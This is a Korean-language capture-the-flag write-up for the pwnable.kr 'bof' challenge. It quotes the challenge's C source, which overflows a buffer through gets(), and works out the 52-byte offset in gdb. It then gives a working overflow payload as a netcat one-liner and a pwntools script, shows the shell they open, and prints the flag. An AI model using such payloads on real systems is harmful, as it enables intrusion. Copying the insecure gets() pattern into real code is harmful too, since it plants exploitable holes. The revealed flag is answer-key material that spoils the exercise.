[pwnable.kr]Toddler/bof

 

Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

keyword : Stack Canary

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

0x01. Staic Analysis

main에서 func함수를 호출하는데 인자 값으로 0xdeadbeef값을 전달한다.

func 함수에서 key값으로 0xdeadbeef를 받고, 사용자로 부터 입력 값을 받아 overflowme 배열에 저장한다.

이때 overflowme배열은 32byte크기지만, gets함수로 입력을 받아 buffer overflow가 발생한다.

그리고 key값이 0xcafebabe 인지 체크하고 맞으면 쉘을 실행한다.

즉, buffer overflow를 시켜 func함수의 인자 값을 0xcafebabe로 변조하면 문제가 풀린다.


0x02. Dynamic Analysis

이제 func함수의 인자 값이 들어가는 스택 주소와, overflowme 배열의 주소의 거리를 구해야한다.

gdb-peda$ disas func
Dump of assembler code for function func:
   0x0000062c <+0>:     push   ebp
   0x0000062d <+1>:     mov    ebp,esp
   0x0000062f <+3>:     sub    esp,0x48
   0x00000632 <+6>:     mov    eax,gs:0x14
   0x00000638 <+12>:    mov    DWORD PTR [ebp-0xc],eax
   0x0000063b <+15>:    xor    eax,eax
   0x0000063d <+17>:    mov    DWORD PTR [esp],0x78c
   0x00000644 <+24>:    call   0x645 <func+25>
   0x00000649 <+29>:    lea    eax,[ebp-0x2c]
   0x0000064c <+32>:    mov    DWORD PTR [esp],eax
   0x0000064f <+35>:    call   0x650 <func+36>
   0x00000654 <+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x0000065b <+47>:    jne    0x66b <func+63>
   0x0000065d <+49>:    mov    DWORD PTR [esp],0x79b
   0x00000664 <+56>:    call   0x665 <func+57>
   0x00000669 <+61>:    jmp    0x677 <func+75>
   0x0000066b <+63>:    mov    DWORD PTR [esp],0x7a3
   0x00000672 <+70>:    call   0x673 <func+71>
   0x00000677 <+75>:    mov    eax,DWORD PTR [ebp-0xc]
   0x0000067a <+78>:    xor    eax,DWORD PTR gs:0x14
   0x00000681 <+85>:    je     0x688 <func+92>
   0x00000683 <+87>:    call   0x684 <func+88>
   0x00000688 <+92>:    leave
   0x00000689 <+93>:    ret
End of assembler dump.

func+29 부분을 보면 oeverflowme 배열의 주소를 eax에 저장하는데, overflowme 배열의 주소는 ebp-0x2c 이다. (0x2c = 44)

그리고 func+40 부분을 보면 func함수의 인자 값과 0xcafebabe와 비교하는데 이때 인자 값의 주소는 ebp+0x8 이다.

따라서 overflowme 배열과 key값(func함수의 인자 값)의 주소의 거리는 52byte가 된다.


0x03. Exploit

그럼 이제 52byte의 쓰레기 값을 넣고, 0xcafebabe 값을 넣어 0xdeadbeef 값을 변조시키자.

root@ubuntu:~/pwnable/bof# (python -c 'print "A"*52+"\xbe\xba\xfe\xca"';cat) | nc pwnable.kr 9000
cat flag
daddy, I just pwned a buFFer :)

끄읏 :)


python
from pwn import *

conn = remote("pwnable.kr", 9000)

payload = "A"*52
payload += p32(0xcafebabe)

conn.sendline(payload)
conn.interactive()
root@ubuntu:~/pwnable/bof# python ex.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ ls -l
total 3748
-r-xr-x--- 1 root bof     7348 Sep 12  2016 bof
-rw-r--r-- 1 root root     308 Oct 23  2016 bof.c
-r--r----- 1 root bof       32 Jun 11  2014 flag
-rw------- 1 root root 3812010 Nov 14 21:45 log
-rw-r--r-- 1 root root       0 Oct 23  2016 log2
-rwx------ 1 root root     760 Sep 11  2014 super.pl
$ cat flag
daddy, I just pwned a buFFer :)